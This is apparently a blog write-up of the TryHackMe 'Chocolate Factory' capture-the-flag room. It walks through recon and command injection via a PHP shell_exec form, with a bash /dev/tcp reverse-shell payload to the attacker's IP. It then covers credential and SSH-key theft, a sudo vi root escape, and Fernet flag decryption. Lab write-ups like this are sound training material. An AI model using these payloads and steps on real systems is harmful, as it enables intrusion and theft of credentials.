4 min read

TryHackMe Chocolate Factory Writeup

TryHackMe Chocolate Factory Writeup

Room Info

Recon Phase

Nmap Scan

nmap -sV -sC -p- 10.201.8.19 -Pn

Scan results:

  • Port 22: SSH
  • Port 80: HTTP (Apache)

Directory Enumeration

gobuster dir -u http://10.201.8.19/ \
  -w /usr/share/wordlists/dirb/common.txt -t 20

Paths discovered:

  • /index.html - Main page
  • /home.php - Command interface
  • /validate.php - Login validation

Step 1: Command Injection Vulnerability

Finding the vulnerability
Visiting the command interface home.php reveals a command execution form:

<form method="POST">
    <input id="comm" type="text" name="command" placeholder="Command">
    <button>Execute</button>
</form>

The backend PHP code has a serious flaw: (first run ls to confirm index.php.bak exists, then cat it)

<?php
    if(isset($_POST['command']))
    {
        $cmd = $_POST['command'];
        echo shell_exec($cmd);  // Directly executes user input!
    }
?>

Setting Up a Reverse Shell

Step 1: Start a listener locally (Windows PowerShell)

ncat -lvnp 4444

Step 2: Inject the payload

Enter into the form:

bash -c 'bash -i >& /dev/tcp/10.13.90.144/4444 0>&1'

Got a www-data shell!

Step 2: Grab Charlie's Password

File enumeration

www-data@ip-10-201-8-19:/var/www/html$ ls -al
total 1152
-rw-rw-r-- 1 charlie charley     303 Sep 30  2020 validate.php
-rw-rw-r-- 1 charlie charley     273 Sep 29  2020 index.php.bak
-rw-r--r-- 1 charlie charley    8496 Sep 30  2020 key_rev_key

Inspect validate.php

cat validate.php

Key finding:

<?php
    $uname=$_POST['uname'];
    $password=$_POST['password'];
    if($uname=="charlie" && $password=="cn7824"){
        echo "<script>window.location='home.php'</script>";
    }
?>

Charlie's password: cn7824

Step 3: Analyze key_rev_key to Recover the Encryption Key

Download the file — or just analyze it right on the reverse shell!

# On the target machine
python3 -m http.server 8000

# On the local machine
wget http://10.201.8.19:8000/key_rev_key

Reverse Engineering

file key_rev_key
# key_rev_key: ELF 64-bit LSB executable

strings key_rev_key

Encryption key discovered:

b'-VkgXhFf6sAEcAwrC6YR-Redacted='

This is a Fernet encryption key — it'll come in handy later!

Step 4: SSH In to Capture the User Flag

Finding the SSH private key

www-data@ip-10-201-8-19:/home/charlie$ ls -al
-rw-r--r-- 1 charlie charley 1675 Oct  6  2020 teleport
-rw-r--r-- 1 charlie charley  407 Oct  6  2020 teleport.pub
-rw-r----- 1 charlie charley   39 Oct  6  2020 user.txt

Log in with the private key
Step 1: Copy the private key locally

cat teleport

Copy the entire RSA private key (from -----BEGIN RSA PRIVATE KEY----- to -----END RSA PRIVATE KEY-----)

Step 2: Save it and set permissions

nano charlie_key
# Paste the private key contents

chmod 600 charlie_key

Step 3: SSH login

ssh -i charlie_key [email protected]

Logged in! (The private key has no passphrase.)

Capture the User Flag

charlie@ip-10-201-8-19:~$ cat user.txt
flag{Redacted}

Step 5: Privilege Escalation to Root

Check sudo privileges

charlie@ip-10-201-8-19:~$ sudo -l

User charlie may run the following commands on ip-10-201-8-19:
    (ALL : !root) NOPASSWD: /usr/bin/vi

Escalate via Vi
Reference: GTFOBins - vi

sudo vi -c ':!/bin/sh' /dev/null

Got a root shell!

# whoami
root

Step 6: Decrypt the Final Flag

Finding the encryption script

# cd /root
# ls
root.py  snap

# cat root.py

Script contents:

from cryptography.fernet import Fernet
import pyfiglet

key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()

display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)

Run it locally
Since the target machine is missing the cryptography module, download the script and run it locally:

# Local machine
nano root.py
# Paste the script contents

pip3 install cryptography pyfiglet

python3 root.py

Enter the key you recovered earlier:

Enter the key:  -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

Get the Final Flag

__   __               _               _   _                 _____ _
\ \ / /__  _   _     / \   _ __ ___  | \ | | _____      __ |_   _| |__   ___
 \ V / _ \| | | |   / _ \ | '__/ _ \ |  \| |/ _ \ \ /\ / /   | | | '_ \ / _ \
  | | (_) | |_| |  / ___ \| | |  __/ | |\  | (_) \ V  V /    | | | | | |  __/
  |_|\___/ \__,_| /_/   \_\_|  \___| |_| \_|\___/ \_/\_/     |_| |_| |_|\___|
  ___                              ___   __
 / _ \__      ___ __   ___ _ __   / _ \ / _|
| | | \ \ /\ / / '_ \ / _ \ '__| | | | | |_
| |_| |\ V  V /| | | |  __/ |    | |_| |  _|
 \___/  \_/\_/ |_| |_|\___|_|     \___/|_|
  ____ _                     _       _
 / ___| |__   ___   ___ ___ | | __ _| |_ ___
| |   | '_ \ / _ \ / __/ _ \| |/ _` | __/ _ \
| |___| | | | (_) | (_| (_) | | (_| | ||  __/
 \____|_| |_|\___/ \___\___/|_|\__,_|\__\___|
 _____          _
|  ___|_ _  ___| |_ ___  _ __ _   _
| |_ / _` |/ __| __/ _ \| '__| | | |
|  _| (_| | (__| || (_) | |  | |_| |
|_|  \__,_|\___|\__\___/|_|   \__, |
                              |___/
flag{Redacted}

Key Takeaways

1. Command Injection Vulnerability

  • Tell-tale sign: user input passed straight into shell_exec() or system()

2. Exploiting an SSH Private Key

3. Sudo Privesc - Vi/Vim

Exploitation:

sudo vi -c ':!/bin/sh' /dev/null# or sudo vim -c ':!/bin/bash'

4. Fernet Encryption/Decryption

  • Characteristics: Base64-encoded symmetric encryption

Lessons Learned

On Step 1: Command Injection

According to validate.php, you're supposed to log in from index.html and get redirected to this home.php page before you can reach the command injection. But gobuster finds the page right away, and since there's no authentication check at all, you can trivially bypass the login and execute commands directly.

On Step 2: Grabbing Charlie's Password

I actually came back for Charlie's password only after grabbing all the flags. I tried cracking his local password via /etc/shadow, and I tried cracking the SSH login password too, but neither went anywhere. So I went back to the very first reverse shell and realized I'd overlooked validate.php.

On Step 6: Decrypting the Final Flag:

The final flag has an extra layer of decryption — a first for me across these boxes, and a pretty fun touch!